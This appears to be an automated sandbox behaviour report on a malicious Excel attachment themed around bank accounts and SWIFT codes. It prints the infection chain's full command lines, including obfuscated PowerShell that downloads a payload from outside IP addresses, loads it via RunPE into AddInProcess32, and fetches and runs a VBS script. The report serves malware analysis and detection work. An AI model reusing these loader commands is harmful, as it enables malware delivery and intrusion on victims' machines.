Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RunPE.pdb source: powershell.exe, 0000000C.00000002.503385693.00000000002F0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.pdbhP source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.pdb source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp
Source: 46930000.0.dr Initial sample: OLE indicators vbamacros = False
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 12.2.powershell.exe.2f0000.0.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Obfuscated command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX" Jump to behavior
PowerShell case anomaly found
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Suspicious command line found
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; 